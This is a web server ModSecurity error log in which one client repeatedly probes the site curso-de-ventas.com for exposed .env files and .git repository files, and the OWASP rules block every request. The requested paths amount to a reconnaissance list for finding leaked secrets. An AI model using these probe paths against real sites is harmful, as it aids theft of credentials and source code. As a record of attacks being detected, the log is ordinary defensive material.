[Tue Oct 27 09:07:42.209644 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "auCiHuImPdbb84WcZtcWJAAAAAM"]
[Tue Oct 27 09:07:42.209863 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "auCiHuImPdbb84WcZtcWJAAAAAM"]
[Tue Oct 27 09:07:42.210208 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "auCiHuImPdbb84WcZtcWJAAAAAM"]
[Tue Oct 27 09:07:42.210303 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "auCiHuImPdbb84WcZtcWJAAAAAM"]
[Tue Oct 27 09:07:42.210321 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "auCiHuImPdbb84WcZtcWJAAAAAM"]
[Tue Oct 27 09:07:42.212530 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCiHkyUSZ-HOP4isatNEAAAABY"]
[Tue Oct 27 09:07:42.212763 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCiHkyUSZ-HOP4isatNEAAAABY"]
[Tue Oct 27 09:07:42.213056 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCiHkyUSZ-HOP4isatNEAAAABY"]
[Tue Oct 27 09:07:42.213883 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "auCiHivHqw5XD_QUjlp8_gAAAA4"]
[Tue Oct 27 09:07:42.214025 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "auCiHivHqw5XD_QUjlp8_gAAAA4"]
[Tue Oct 27 09:07:42.214299 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "auCiHivHqw5XD_QUjlp8_gAAAA4"]
[Tue Oct 27 09:07:42.221816 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCiHtlxVzpWq3t5phLIkQAAAA8"]
[Tue Oct 27 09:07:42.221985 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCiHtlxVzpWq3t5phLIkQAAAA8"]
[Tue Oct 27 09:07:42.222235 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCiHtlxVzpWq3t5phLIkQAAAA8"]
[Tue Oct 27 09:07:42.222878 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCiHrL0NGPtr6217jDWiAAAAAA"]
[Tue Oct 27 09:07:42.223021 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCiHrL0NGPtr6217jDWiAAAAAA"]
[Tue Oct 27 09:07:42.223268 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCiHrL0NGPtr6217jDWiAAAAAA"]
[Tue Oct 27 09:07:42.362626 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "auCiHuImPdbb84WcZtcWJgAAAAM"]
[Tue Oct 27 09:07:42.362832 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "auCiHuImPdbb84WcZtcWJgAAAAM"]
[Tue Oct 27 09:07:42.363093 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "auCiHuImPdbb84WcZtcWJgAAAAM"]
[Tue Oct 27 09:07:42.364138 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKJQAAAAE"]
[Tue Oct 27 09:07:42.364280 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKJQAAAAE"]
[Tue Oct 27 09:07:42.364544 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKJQAAAAE"]
[Tue Oct 27 09:07:42.373615 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "auCiHtlxVzpWq3t5phLIkwAAAA8"]
[Tue Oct 27 09:07:42.373748 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "auCiHtlxVzpWq3t5phLIkwAAAA8"]
[Tue Oct 27 09:07:42.373975 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "auCiHtlxVzpWq3t5phLIkwAAAA8"]
[Tue Oct 27 09:07:42.375267 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "auCiHrL0NGPtr6217jDWigAAAAA"]
[Tue Oct 27 09:07:42.375426 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "auCiHrL0NGPtr6217jDWigAAAAA"]
[Tue Oct 27 09:07:42.375658 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "auCiHrL0NGPtr6217jDWigAAAAA"]
[Tue Oct 27 09:07:42.449650 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "auCiHtlxVzpWq3t5phLIlAAAAA8"]
[Tue Oct 27 09:07:42.449792 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "auCiHtlxVzpWq3t5phLIlAAAAA8"]
[Tue Oct 27 09:07:42.450026 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "auCiHtlxVzpWq3t5phLIlAAAAA8"]
[Tue Oct 27 09:07:42.475086 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "auCiHrL0NGPtr6217jDWiwAAAAA"]
[Tue Oct 27 09:07:42.475277 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "auCiHrL0NGPtr6217jDWiwAAAAA"]
[Tue Oct 27 09:07:42.475565 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "auCiHrL0NGPtr6217jDWiwAAAAA"]
[Tue Oct 27 09:07:42.515571 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "auCiHuImPdbb84WcZtcWKAAAAAM"]
[Tue Oct 27 09:07:42.515578 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKJwAAAAE"]
[Tue Oct 27 09:07:42.515746 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKJwAAAAE"]
[Tue Oct 27 09:07:42.515747 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "auCiHuImPdbb84WcZtcWKAAAAAM"]
[Tue Oct 27 09:07:42.515993 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKJwAAAAE"]
[Tue Oct 27 09:07:42.516033 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "auCiHuImPdbb84WcZtcWKAAAAAM"]
